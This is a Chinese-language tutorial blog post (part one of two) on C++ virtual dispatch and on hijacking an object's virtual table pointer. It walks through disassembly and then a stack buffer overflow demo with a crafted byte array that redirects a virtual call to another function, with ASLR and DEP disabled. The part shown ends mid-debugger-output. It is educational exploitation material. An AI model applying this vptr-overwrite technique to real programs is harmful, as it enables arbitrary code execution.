设为首页 加入收藏

TOP

C++溢出对象虚函数表指针(一)
2016-12-06 20:24:33 】 浏览:500
Tags:溢出 对象 函数 指针

C++一特性是通过virtual关键字实现运行时多态,虽然自己用到这个关键字的机会不多,但很多引用的第三方库会大量使用这个关键字,比如MFC...如果某个函数由virtual关键字修饰,并且通过指针方式调用,则由编译器实现运行时多态,也是本文溢出虚函数表并加以利用的前提条件。

文章开头提到了能完成溢出利用的前提条件,看下Object.Function()调用方式和ObjectPtr->Function()调用方式的差别,源码如下:

class base
{
public:
	virtual void test()
	{
		printf("%s\n","base:test");
	}
};

int main()
{
	base obj1;
	base* objPtr = &obj1;

	obj1.test(); //普通调用方式
	objPtr->test(); //运行时多态
	return 0;
}
截取关键部分的反汇编代码:
	base* objPtr = &obj1;
00401026  lea         eax,[obj1]  
00401029  mov         dword ptr [objPtr],eax  

	obj1.test();
0040102C  lea         ecx,[obj1]  
0040102F  call        base::test (401090h)  // 1)对应的OpCode为0x0040102F:e8 5c 00 00 00
	objPtr->test();
00401034  mov         eax,dword ptr [objPtr]  
00401037  mov         edx,dword ptr [eax]  
00401039  mov         esi,esp  
0040103B  mov         ecx,dword ptr [objPtr]  
0040103E  mov         eax,dword ptr [edx]  
00401040  call        eax  // 2)
反汇编代码call base::test (401090h)的调用目标就是虚函数test所在的地址(为了编译演示效果,我已关闭链接选项中的增量链接):
	virtual void test()
	{
00401090  push        ebp  
00401091  mov         ebp,esp  
00401093  sub         esp,0CCh  
00401099  push        ebx  
0040109A  push        esi  
0040109B  push        edi  
0040109C  push        ecx  
0040109D  lea         edi,[ebp-0CCh]  
004010A3  mov         ecx,33h  
004010A8  mov         eax,0CCCCCCCCh  
004010AD  rep stos    dword ptr es:[edi]  
004010AF  pop         ecx  
004010B0  mov         dword ptr [ebp-8],ecx  
从这段代码可以看到这些信息:

1)处,普通调用方式和C语言中的相对调用一样,都是让Eip跳转一段相对距离去取指执行(从Call指令被汇编为E8看出);而2)处,运行时多态则通过call [Mem]的方式实现间接跳转。这种调用方式比较灵活:首先内存地址Mem是变数,其次内存值[Mem]同样是变数,需要根据程序执行时使用的内存情况而定,不像方式1)那样,编译完了就成了板上钉钉的事实了。就是这种不加检查内存有效性的盲目(<-这段是我自己主观判断的)灵活性给我们带来了利用的机会。

上面已经知道了2种调用机制的差别,现在将重点放到运行时多态的实现上。(为了行文方便,这里容我假设你已经阅读 一文,并对虚表机制有一定了解)。先看下Obj1对象的内存分布图:

\

图中显示Obj1对象的虚表存在于Obj1对象外部(按我调试的结论,虚表是类对象所共有,存在于PE文件rodata节中,因为每次修改虚表都会引起访存异常。),在对象内部仅保留一个指针成员指向该共有虚表。如果让指针指向错误的地方----比如我们伪造的虚表,则程序会不假思索的去伪造的虚表取虚函数地址并执行。

鉴于这种猜测,我们动手尝试覆盖Obj1对象的虚表,思路如下:先在栈上开辟一个数组,紧接着创建obj1对象,然后溢出数组直到Obj1对象虚表指针所在的内存。修改后的代码如下:

class base
{
public:
	unsigned char buff[4];
	base()
	{
		memset(buff,0xAA,4);
	}
	virtual void test()
	{
		printf("%s\n","base:test");
	}
};


void fakeFunc()
{
		printf("%s\n","fakeFunc");
}
unsigned char shellcode[] = {'\x00','\x10','\x40','\x00',
			'\xcc','\xcc','\xcc','\xcc',
			'\xcc','\xcc','\xcc','\xcc','\xcc','\xcc','\xcc','\xcc',
			'\x08','\xff','\x12','\x00'};
int main()
{
	base* objPtr;
	base obj1;
	unsigned char buf[8] = {0};


	objPtr = &obj1;
	memcpy(buf,shellcode,0x14);


	objPtr->test();
	return 0;
}
调试查看变量obj1和buf的内存分布情况:
 
 
0:000> dd obj1 l1 0012ff18 0043b1d4 0:000> dd buf 0012ff08 00000000 00000000 cccccccc cccccccc 0012ff18 0043b1d4 aaaaaaaa cccccccc cccccccc 

 从windbg返回的结果看,buf后面紧贴着0x8B的0xcc,这是变量保存区,由vs编译生成的gap,用于检测栈溢出,紧随其后的0x012ff18是obj1对象所在内存区,这个地址同时也是obj1对象的虚表指针所在,只要巧妙的构造copy给buf的内容,就能使objPtr->test()去执行fakeFunc函数。为了便于试验中构造shellcode,设置VS链接选项随机基质和数据执行保护都为No。
 
我构造用以溢出buf的缓存区的内容为:

unsigned char shellcode[] = {'\x00','\x10','\x40','\x00',
'\xcc','\xcc','\xcc','\xcc',
'\xcc','\xcc','\xcc','\xcc','\xcc','\xcc','\xcc','\xcc',
'\x08','\xff','\x12','\x00'};

shellcode在这有2个作用:1)很明显的一点溢出buf到obj1所在地址;2)shellcode前4B充当虚函数表,当然这个表的内容比较单一,只有一个表项,表项内容是fakeFunc的地址(见下面的windbg输出结果)。这部分内容我用红色字体标示:'\x00','\x10','\x40','\x00'(Intel小端序),这个需要读者按照自己实际情况修改。

0:000> u fak
首页 上一页 1 2 下一页 尾页 1/2/2
】【打印繁体】【投稿】【收藏】 【推荐】【举报】【评论】 【关闭】 【返回顶部
上一篇c++使用libcurl 下一篇C++流概述

最新文章

热门文章

Hot 文章

Python

C 语言

C++基础

大数据基础

linux编程基础

C/C++面试题目